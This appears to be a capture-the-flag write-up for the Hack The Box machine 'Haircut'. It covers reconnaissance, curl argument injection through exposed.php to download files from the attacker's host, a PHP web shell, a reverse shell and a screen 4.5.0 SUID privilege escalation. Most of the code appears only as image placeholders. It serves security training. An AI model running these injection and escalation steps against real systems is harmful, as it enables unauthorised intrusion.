Skip to main content

HTB - Haircut

alt

Basic Nmap scan

Nmap Command: nmap -Pn -n -sC -sV -oA scan_boxs/haircut/nmap/10.10.10.24-d-scan 10.10.10.24
Nmap scan report for 10.10.10.24
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
| 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
|_http-server-header: nginx/1.10.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Open ports : 22,80

PORTSERVICEPRODUCTVERSIONEXTRAINFO
22sshOpenSSH7.2p2 Ubuntu 4ubuntu2.2Ubuntu Linux; protocol 2.0
80httpnginx1.10.0Ubuntu

port 80

alt

gobuster has detected few interesting folders and files.

http://10.10.10.24:80/index.html           (Status: 200) [Size: 144]
http://10.10.10.24:80/uploads (Status: 301) [Size: 194] [--> http://10.10.10.24/uploads/]
http://10.10.10.24:80/test.html (Status: 200) [Size: 223]
http://10.10.10.24:80/hair.html (Status: 200) [Size: 141]
http://10.10.10.24:80/exposed.php (Status: 200) [Size: 446]

Accessing test.html
alt

exposed php file

Accessing exposed.php looks interesting.
alt

Understanding the behavior of exposed.php. Clicking on the go button produces an interesting output.
alt

Looks like php is executing a command which generates the output.
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 223 100 223 0 0 37290 0 --:--:-- --:--:-- --:--:-- 44600

currie curl looks like a hint. It could be executing curl command in exposed.php code.

Lets try to access local host from the target machine.
alt

alt

uploads

http://10.10.10.24:80/uploads folder

alt

No files found in the uploads folder.

Exploit

curl output

Lets look at the curl output on our local machine and it looks similar to that of the output from the exposed.php file.

alt
alt

Comparing both the outputs we can deduct that it could be curl executing that command. Let try curl --output option to write the file.

Assuming its curl executing, let try executing the command http://10.10.14.4/test.txt --output test.txt

alt

looks like we don't have permission to write file in the current folder. gobuster found uploads folder, lets try writing to that folder. Switching to burpsuite

Writing to uploads

Uploaded to uploads folder http://10.10.14.4/test.txt --output uploads/test.txt

alt

Lets try accessing the test.txt file in the uploads folder.

alt

Time to write php file which can execute shell commands.

php command execution

Uploading a cyboshell.php file to the uploads directory with the following code.
alt

Uploading the php code

alt

Hosting the php file.
alt

Testing the execution of the code.

alt

Looks like we have command execution.

Reverse shell

Update the command to return a reverse shell.
alt

Sending the command through burpsuite
alt

Reverse shell.
alt

Upgrading the reverse shell.
alt

user flag

alt

Privilege escalation

Time to use LinEnum.sh
alt

LinEnum has found an interesting SUID file screen-4.5.0 and 4.5 could be the version alt

searchsploit screen

searchsploit found an workable exploit. alt

Exploit screen

alt

Since target machine is a 64 bit environment, the exploit is complied in the local machine and upload.

Generating libhax.so file
alt

Generating rootshell file
alt

Uploading the exploits to the target machine and setting execute permissions.
alt

Now, Switch to /etc/ directory and set the process permission to 000 with umask. Then execute screen command as given in the exploit script and the rootshell.

alt

We have root shell.

Root flag

alt